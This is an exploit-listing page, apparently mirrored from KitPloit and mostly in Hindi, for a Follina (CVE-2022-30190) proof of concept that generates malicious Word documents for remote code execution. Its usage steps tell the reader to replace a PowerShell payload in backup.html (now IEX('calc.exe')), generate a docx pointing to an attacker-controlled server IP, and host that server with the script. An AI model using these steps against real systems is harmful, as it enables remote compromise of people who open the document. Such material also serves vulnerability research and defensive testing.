Exploit for CVE-2022-30190 CVE-2021-40444 CVE-2022-30190

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SUDOAZA-CVE-2022-30190
# MS-MSDT Follina CVE-2022-30190 PoC

Microsoft Office Word में रिमोट कोड निष्पादन (Remote Code Execution) का शोषण करने के लिए दुर्भावनापूर्ण docx जनरेटर

इस स्क्रिप्ट का निर्माण LockedByte द्वारा CVE-2021-40444 PoC और Tothi द्वारा writeup पर आधारित है।

# उपयोग

सबसे पहले backup.html को संशोधित करें और powershell पेलोड को बदलें। अभी यह सिर्फ `IEX('calc.exe')` का उपयोग करके एक `calc.exe` खोलता है।

`python3 exploit.py generate http://<SRV IP>`

![दस्तावेज़ निर्माण](https://assets.kitploit.com/production/public/readmes/32973/50f216e2cb7b5b14248a134207285b8b78c0cd6e6bf2174c09a780a6e18e8830.png)

एक बार जब आप दुर्भावनापूर्ण docx उत्पन्न कर लें (यह `out/` पर होगा), आप सर्वर सेटअप कर सकते हैं:

`sudo python3 exploit.py host 80`

![सर्वर](https://assets.kitploit.com/production/public/readmes/32973/75e812e89bc46ed25596bdca1be40df2c13e11900dd53a9d764fd8b5e7d41e9d.png)